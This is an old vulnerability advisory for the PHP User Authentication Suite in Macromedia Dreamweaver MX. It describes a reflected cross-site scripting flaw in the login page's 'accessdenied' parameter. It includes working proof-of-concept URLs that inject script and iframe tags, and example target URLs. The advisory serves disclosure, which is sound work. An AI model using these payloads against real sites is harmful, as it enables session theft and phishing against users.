Macromedia DW MX PHP Authentication Suit Vulnerabilities


-------------------
Product: PHP Authentication Suit for DreamWeaver
Vendor: Macromedia 
Versions:
VULNERABLE

- DreamWeaver MX 6.0 
- All the PHP Auth systems created with this 
- Variables : ALL LIKE accessdenied

NOT VULNERABLE

- ?
---------------------

Description:

The PHP User Authentication Suite consists of four server behaviors for 
restricting access to websites for the Dreamweaver MX PHP server model. 
The four server behaviors are:
- Log In User
- Restrict Access to Page
- Log Out User
- Check New Username

-----------------------------------------
SECURITY HOLES FOUND and PROOFS OF CONCEPT:
-----------------------------------------

I encountered a XSS ( Cross Site Scripting ) vulnerability in the LOGIN 
system that allows you to include script code
in the result page / login form.

---------------------
| XSS IN            |
|      LOGIN FORMS  | 
---------------------

The XSS is in the variable of the access denied to url ( url encoded ) :

http://[TARGET]/[PATH]/[LOGIN PAGE].php?[ACCESS DENIED VARIABLE]=%2F
[DIR1]%2F[DIR2]%2F[DIR3]%2F[FORBIDDEN PAGE]

This occurs when you attempt to access to a page of the website that 
requires a valid authentication tokens.

The page redirects you to the [LOGIN PAGE] and it includes an special 
variable in query , [ACCESS DENIED VARIABLE]= with
the denied page url that was accessed ( from the root directory , 
e.x. /dir1/dir2/dir3/secret.php ) encoded with url strings.

The XSS attack occurs when you write script code in the variable by 
closing the form tags:

http://[TARGET]/[PATH]/[LOGIN PAGE].php?[ACCESS DENIED VARIABLE]
="><script>alert('.::\/\|NSRG-18-7|/\/::.');</script>


Examples:

http://www.victim.foo/secrets/login.php?accessdenied=%2Fsecrets%
2Findex.php <- ( /secrets/index.php )

http://www3.bigbank.biz/admin/ccarddb/admin.php?accessdenied=%2Fadmin%
2Fccarddb%2Fexport.database.content.php <- 
( /admin/ccarddb/export.database.content.php )

http://www.sco.fm/is/a/big/*h*t.php?notalinuxerror=%2Flinuxsourcecode%
2Fcopytosco.php <- ( /linuxsourcecode/copytosco.php )

- Proof of Concepts: -

Access to a forbidden page , get an url like this:

http://TESTING.FOO/SECRETS/LOGIN1.php?[ACCESS DENIED VARIABLE]=%
2Fsecrets%2Fbankaccounts.php

And modify the variable like this:

http://TESTING.FOO/SECRETS/LOGIN1.php?ACCESSDENIED="><iframe src="ANTI-
TESTING.FOO"></iframe>
